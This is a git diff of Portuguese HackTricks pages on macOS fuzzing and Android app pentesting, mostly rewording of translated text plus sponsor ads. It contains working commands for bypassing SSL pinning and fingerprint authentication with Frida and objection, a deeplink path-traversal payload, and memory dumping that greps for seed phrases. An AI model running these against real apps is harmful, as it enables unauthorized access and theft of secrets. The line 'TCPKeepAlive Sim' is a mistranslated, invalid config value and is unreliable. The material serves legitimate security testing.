Se estiver fazendo fuzzing via uma conexão SSH, é importante garantir que a sessão não seja encerrada. Portanto, altere o arquivo sshd\_config com:
-* TCPKeepAlive Yes
+* TCPKeepAlive Sim
* ClientAliveInterval 0
* ClientAliveCountMax 0
```bash
@@ -443,8 +518,6 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
{% endcontent-ref %}
### Enumerando Processos de Rede
-
-Isso é interessante para encontrar processos que estão gerenciando dados de rede:
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time
@@ -467,15 +540,13 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
-Funciona para ferramentas de linha de comando
+Funciona para ferramentas de linha de comando.
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
-Ele "**simplesmente funciona"** com ferramentas GUI do macOS. Note que alguns aplicativos do macOS têm requisitos específicos como nomes de arquivos únicos, a extensão correta, precisam ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
+Ele "**simplesmente funciona"** com ferramentas GUI do macOS. Observe que alguns aplicativos do macOS têm requisitos específicos, como nomes de arquivos exclusivos, a extensão correta, a necessidade de ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Alguns exemplos:
-
-{% code overflow="wrap" %}
```bash
# iBooks
litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez
@@ -521,9 +592,9 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo de informações**.
-O principal objetivo do WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares que roubam informações.
+O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
-Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
+Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
@@ -535,7 +606,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/mobile-pentesting/android-app-pentesting/README.md b/mobile-pentesting/android-app-pentesting/README.md
index 0e37510f1..5a927456c 100644
--- a/mobile-pentesting/android-app-pentesting/README.md
+++ b/mobile-pentesting/android-app-pentesting/README.md
@@ -19,19 +19,19 @@ Outras maneiras de apoiar o HackTricks:
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
-Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
+Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
**Últimos Anúncios**\
-Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
+Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## Conceitos Básicos de Aplicativos Android
-É altamente recomendável começar lendo esta página para saber sobre as **partes mais importantes relacionadas à segurança do Android e os componentes mais perigosos em um aplicativo Android**:
+É altamente recomendado começar lendo esta página para saber sobre as **partes mais importantes relacionadas à segurança do Android e os componentes mais perigosos em um aplicativo Android**:
{% content-ref url="android-applications-basics.md" %}
[android-applications-basics.md](android-applications-basics.md)
@@ -40,7 +40,7 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
## ADB (Android Debug Bridge)
Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
-**ADB** permite controlar dispositivos via **USB** ou **Rede** a partir de um computador. Este utilitário permite a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
+**ADB** permite controlar dispositivos via **USB** ou **Rede** a partir de um computador. Esta utilidade permite a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
@@ -52,7 +52,7 @@ Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para apr
## Outros truques interessantes
* [Falsificar sua localização na Play Store](spoofing-your-location-in-play-store.md)
-* **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
+* **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
* Extrair APK do dispositivo:
```bash
adb shell pm list packages
@@ -79,15 +79,15 @@ Por favor, [**leia aqui para encontrar informações sobre diferentes decompilad
### Procurando por Informações Interessantes
-Apenas olhando para as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
+Apenas olhando para as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até mesmo por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
**Firebase**
-Dê atenção especial às **URLs do firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Dê atenção especial às **URLs do Firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Compreensão básica da aplicação - Manifest.xml, strings.xml
-A **análise do arquivo \_Manifest.xml** e dos arquivos **strings.xml** de um aplicativo pode revelar vulnerabilidades de segurança potenciais. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e descompactando-o.
+A **análise do arquivo \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* de um aplicativo pode revelar vulnerabilidades de segurança potenciais\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e descompactando-o.
As **vulnerabilidades** identificadas no **Manifest.xml** incluem:
@@ -126,7 +126,7 @@ Mais informações em:
**Armazenamento Interno**
-No Android, arquivos armazenados no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **aplicativo** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria dos aplicativos. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicativos. No entanto, esses modos **não restringem o acesso** a esses arquivos por outros aplicativos, incluindo possivelmente maliciosos.
+No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **aplicativo** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria dos aplicativos. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicativos. No entanto, esses modos **não restringem o acesso** a esses arquivos por outros aplicativos, incluindo possivelmente maliciosos.
1. **Análise Estática:**
* **Garanta** que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente examinado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
@@ -140,7 +140,7 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
1. **Acessibilidade**:
* Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicativo ou usuário pode acessar esses arquivos.
2. **Preocupações de Segurança**:
-* Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
+* Devido à facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
* O armazenamento externo pode ser removido ou acessado por qualquer aplicativo, tornando-o menos seguro.
3. **Manuseio de Dados do Armazenamento Externo**:
* Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados são de uma fonte não confiável.
@@ -171,11 +171,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**Processos de Gerenciamento de Chave Fracos**
-Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois a reversão pode permitir que os atacantes extraiam as informações confidenciais.
+Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois a reversão pode permitir que atacantes extraiam informações confidenciais.
**Uso de Algoritmos Inseguros e/ou Obsoletos**
-Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt.
+Os desenvolvedores não devem usar algoritmos **obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com sal.
### Outras Verificações
@@ -207,7 +207,7 @@ De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desup
### Análise Estática Automatizada de Código
-A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** escaneando o **código** do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
+A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** escaneando o **código** do aplicativo. Essa ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
@@ -241,13 +241,13 @@ Um aplicativo pode conter segredos (chaves de API, senhas, URLs ocultas, subdom
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
**Percepções de Hacking**\
-Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
+Engaje-se com conteúdo que explora a emoção e desafios do hacking
**Notícias de Hacking em Tempo Real**\
-Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
+Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
**Últimos Anúncios**\
-Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
+Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
@@ -259,7 +259,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
### Análise Dinâmica Online
-Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando.
+Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Essa plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando.
Você pode até **ver os logs do seu aplicativo** na web e conectar-se por meio de **adb**.
@@ -271,7 +271,7 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** nos emuladores.
#### Usando um emulador
-* [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**este** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**último x86**, as versões **suportam bibliotecas ARM** sem precisar de um emulador ARM lento).
+* [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**este** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**último x86** versões **suportam bibliotecas ARM** sem precisar de um emulador ARM lento).
* Aprenda a configurá-lo nesta página:
{% content-ref url="avd-android-virtual-device.md" %}
@@ -302,12 +302,12 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
5. Volte e você encontrará as **Opções do desenvolvedor**.
> Depois de instalar o aplicativo, a primeira coisa que você deve fazer é testá-lo e investigar o que ele faz, como funciona e se familiarizar com ele.\
-> Eu sugiro **realizar esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como o aplicativo funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar posteriormente.
+> Eu sugiro **realizar essa análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como o aplicativo funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar posteriormente.
### Vazamento de Dados Não Intencional
**Registro**
-Os desenvolvedores devem ter cuidado ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo a fim de identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
+Os desenvolvedores devem ter cautela ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo a fim de identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
{% hint style="warning" %}
Observe que a partir de **versões mais recentes do Android do que 4.0**, **aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros apps.\
@@ -316,17 +316,17 @@ De qualquer forma, ainda é recomendável **não registrar informações sensív
**Armazenamento em Cache do Buffer de Copiar/Colar**
-O framework baseado em **clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
+O framework baseado em **clipboard** do Android permite a funcionalidade de copiar/colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
**Logs de Falhas**
-Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenharia reversa. Para mitigar esse risco, evite registrar em caso de falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por meio de um canal SSL para segurança.
+Se um aplicativo **falhar e salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenharia reversa. Para mitigar esse risco, evite registrar em caso de falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por meio de um canal SSL para segurança.
Como pentester, **tente dar uma olhada nesses logs**.
**Dados Analíticos Enviados a Terceiros**
-Os aplicativos frequentemente integram serviços como o Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há envio de informações sensíveis para serviços de terceiros.
+Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há algum envio de informações sensíveis para serviços de terceiros.
### Bancos de Dados SQLite
@@ -355,7 +355,7 @@ Quando uma Atividade é exportada, você pode invocar sua tela a partir de um ap
Você também pode iniciar uma atividade exportada a partir do adb:
-* PackageName é com.example.demo
+* Nome do Pacote é com.example.demo
* Nome da Atividade Exportada é com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
@@ -363,7 +363,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [este](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões de API < 21).
{% hint style="info" %}
-Note que uma bypass de autorização nem sempre é uma vulnerabilidade, isso dependerá de como o bypass funciona e quais informações são expostas.
+Note que uma violação de autorização nem sempre é uma vulnerabilidade, isso dependerá de como a violação funciona e quais informações são expostas.
{% endhint %}
**Vazamento de informações sensíveis**
@@ -372,7 +372,7 @@ Note que uma bypass de autorização nem sempre é uma vulnerabilidade, isso dep
#### Tapjacking
-Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer com que o **usuário execute ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](./#tapjacking).
+Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer com que o **usuário execute ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking).
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
@@ -397,9 +397,9 @@ Lembre-se que as ações de um Receptor de Transmissão começam no método `onR
Um receptor de transmissão estará aguardando por um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
[**Aprenda como explorar Receptores de Transmissão com o Drozer.**](./#exploiting-broadcast-receivers)
-### **Explorando Esquemas / Deep links**
+### **Explorando Esquemas / Links Profundos**
-Você pode procurar deep links manualmente, usando ferramentas como o MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
+Você pode procurar links profundos manualmente, usando ferramentas como o MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Você pode **abrir** um **esquema** declarado usando **adb** ou um **navegador**:
{% code overflow="wrap" %}
@@ -432,7 +432,7 @@ Sempre que encontrar um deeplink, verifique se **não está recebendo dados sens
**Parâmetros no caminho**
Você **também deve verificar se algum deeplink está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
-Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usado como nome de domínio), **assumir a conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
+Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
**Mais exemplos**
@@ -441,28 +441,28 @@ Um [relatório interessante de recompensa por bugs](https://hackerone.com/report
### Falhas na Inspeção e Verificação da Camada de Transporte
* **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum esses aplicativos ignorarem avisos e aceitarem certificados autoassinados ou, em alguns casos, voltarem a usar conexões HTTP.
-* **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques de homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
-* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, da interceptação por entidades maliciosas.
+* **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques do tipo homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
+* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
#### Verificação de Certificado
-Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para etapas detalhadas sobre a verificação de certificados do servidor e a correção de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientações abrangentes.
+Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para etapas detalhadas sobre a verificação de certificados de servidor e abordagem de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientações abrangentes.
#### SSL Pinning
-O SSL Pinning é uma medida de segurança em que o aplicativo verifica o certificado do servidor em relação a uma cópia conhecida armazenada dentro do próprio aplicativo. Este método é essencial para prevenir ataques MITM. Implementar o SSL Pinning é altamente recomendado para aplicativos que lidam com informações sensíveis.
+SSL Pinning é uma medida de segurança em que o aplicativo verifica o certificado do servidor em relação a uma cópia conhecida armazenada dentro do próprio aplicativo. Este método é essencial para prevenir ataques MITM. Implementar o SSL Pinning é altamente recomendado para aplicativos que lidam com informações sensíveis.
#### Inspeção de Tráfego
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
-Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crucial para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
+Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
-#### Bypass do SSL Pinning
+#### Bypassing SSL Pinning
Quando o SSL Pinning é implementado, torna-se necessário contorná-lo para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim:
-* Modificar automaticamente o **apk** para **burlar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
+* Modificar automaticamente o **apk** para **burlar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
* Você pode usar o **Frida** (discutido abaixo) para burlar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
@@ -484,9 +484,9 @@ Se você deseja fazer pentest em aplicativos Android, precisa saber como usar o
* Você pode encontrar alguns scripts incríveis do Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Tente burlar mecanismos anti-depuração / anti-Frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
-### **Despejo de Memória - Fridump**
+### **Despejar Memória - Fridump**
-Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
+Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemônicos.
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode despejar a memória do aplicativo com:
```bash
@@ -507,7 +507,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **Dados sensíveis no Keystore**
-No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo pode ser capaz de roubar esses dados.
+No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo poderia roubar esses dados.
Mesmo que um aplicativo armazene dados no keystore, os dados devem ser criptografados.
@@ -517,7 +517,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Bypass de Impressão Digital/Biometria**
-Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis específicas:**
+Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis:**
{% code overflow="wrap" %}
```bash
@@ -527,7 +527,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f
-Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
+Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
-Engaje-se com conteúdo que explora a emoção e os desafios do hacking
+Interaja com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
@@ -595,14 +595,15 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) e **Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host Windows_).\
-Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
+Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), o MobSF também poderá analisá-lo.
